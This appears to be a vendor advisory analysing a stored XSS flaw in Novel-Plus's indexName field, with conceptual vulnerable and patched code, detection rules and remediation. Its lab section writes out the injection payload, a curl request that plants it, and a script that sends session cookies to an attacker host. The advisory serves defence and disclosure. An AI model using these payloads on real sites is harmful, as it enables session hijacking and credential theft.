CVE-2025-60298

Executive Summary

CVE-2025-60298 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in Novel-Plus, a popular open-source novel management platform. The flaw resides in the /author/updateIndexName endpoint, where the indexName parameter is not properly sanitized before being stored in the database. An authenticated attacker can inject malicious JavaScript code that executes when other users (including administrators) view the affected book chapter. This can lead to session hijacking, credential theft, or defacement. The vulnerability affects all versions up to and including 5.2.4. No official patch has been released at the time of this analysis.

Supply Chain & Package Security

Novel-Plus is a Java-based web application typically distributed as a WAR file or Docker image. The vulnerability is in the application's own code, not in a third-party library. However, users should verify the integrity of their deployment artifacts and ensure no malicious modifications have been introduced via compromised build pipelines.

CVSS Breakdown & Threat Level

CVSS Score: 6.1 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs a valid user account.
• User Interaction (UI): Required – The victim must view the affected chapter.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): None – No impact on system availability.

Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the potential for privilege escalation (e.g., stealing admin session cookies) raises the practical risk.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS (also known as Persistent XSS). The application fails to sanitize user-supplied input in the indexName parameter of the /author/updateIndexName endpoint. This endpoint is used by authors to update the name of a book chapter index.

Attack Flow:

1. An authenticated attacker (with author privileges) sends a POST request to /author/updateIndexName with a malicious payload in the indexName field.
2. The server stores the unsanitized payload in the database.
3. When any user (including administrators or other authors) navigates to the affected book chapter, the application retrieves the indexName from the database and renders it in the HTML page without proper encoding.
4. The injected JavaScript executes in the victim's browser context.

Root Cause: The application likely uses a template engine (e.g., Thymeleaf, JSP) that outputs the indexName value directly into the HTML without escaping HTML entities. For example, using th:text instead of th:utext would prevent this, but the developer may have used th:utext or a similar unescaped output directive.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Controller
@PostMapping("/author/updateIndexName")
public String updateIndexName(@RequestParam String indexName, @RequestParam Long chapterId) {
    Chapter chapter = chapterService.findById(chapterId);
    chapter.setIndexName(indexName); // No sanitization
    chapterService.save(chapter);
    return "redirect:/chapter/" + chapterId;
}

<!-- Template (e.g., Thymeleaf) -->
<div th:utext="${chapter.indexName}"></div>
<!-- UNSAFE: utext outputs raw HTML -->

Patched Code (Conceptual):

// Controller
@PostMapping("/author/updateIndexName")
public String updateIndexName(@RequestParam @Size(max=255) String indexName, @RequestParam Long chapterId) {
    // Input validation and sanitization
    String sanitized = Jsoup.clean(indexName, Whitelist.basic());
    Chapter chapter = chapterService.findById(chapterId);
    chapter.setIndexName(sanitized);
    chapterService.save(chapter);
    return "redirect:/chapter/" + chapterId;
}

<!-- Template (e.g., Thymeleaf) -->
<div th:text="${chapter.indexName}"></div>
<!-- SAFE: text escapes HTML entities -->

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A running instance of Novel-Plus (version <= 5.2.4)
• Valid credentials for an author account

Step 1: Craft the Payload

<script>alert('XSS')</script>

Step 2: Send the Malicious Request

curl -X POST "http://target.com/author/updateIndexName" \
  -H "Cookie: JSESSIONID=your_session_id" \
  -d "indexName=<script>alert('XSS')</script>&chapterId=1"

Step 3: Trigger the Payload Navigate to the affected chapter (e.g., http://target.com/chapter/1). The JavaScript will execute.

Advanced Payload (Session Hijacking):

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Defense & Detection)

Detection:

• Monitor logs for suspicious indexName values containing <script>, onerror, onload, or other HTML event handlers.
• Use a Web Application Firewall (WAF) to block requests with obvious XSS patterns in the indexName parameter.

Prevention:

• Apply input validation and output encoding as shown in the patched code section.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use a security scanner to identify similar vulnerabilities in other endpoints.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /author/updateIndexName with indexName containing HTML/JavaScript code.
• Outbound connections from the Novel-Plus server to unknown external IPs (e.g., attacker-controlled servers).

File/Log IOCs:

• Application logs showing indexName values with <script> tags.
• Database entries in the chapter table where index_name contains HTML/JavaScript.

Host IOCs:

• Unexpected JavaScript files in the webroot (if the attacker uploaded them via another vulnerability).
• Modified chapter table entries.

Detection Engineering

YARA Rule

rule Detect_NovelPlus_StoredXSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting Novel-Plus indexName field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60298"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: Novel-Plus Stored XSS via indexName Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-60298 by injecting XSS payloads into the indexName parameter.
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/author/updateIndexName'
        cs-uri-query|contains|all:
            - 'indexName='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of HTML in indexName (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-60298 Novel-Plus Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/author/updateIndexName"; http_uri;
    content:"indexName="; http_client_body;
    pcre:"/<script[^>]*>/i";
    sid:10000001;
    rev:1;
    reference:cve,2025-60298;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the endpoint if not in use: Block access to /author/updateIndexName via web server configuration (e.g., Apache .htaccess or Nginx location block).
2. Apply a WAF rule to block requests containing <script> or other HTML tags in the indexName parameter.
3. Manually sanitize the database: Run a SQL query to escape or remove HTML from existing index_name values.

Long-Term Fix:

• Upgrade to a patched version once available.
• Implement input validation and output encoding in all user-facing endpoints.
• Conduct a security audit of the entire application.

Workaround (Code Change): If you have access to the source code, modify the controller to sanitize input using a library like Jsoup, and change the template to use escaped output (e.g., th:text instead of th:utext).

Valters IT
Securing Digital Frontiers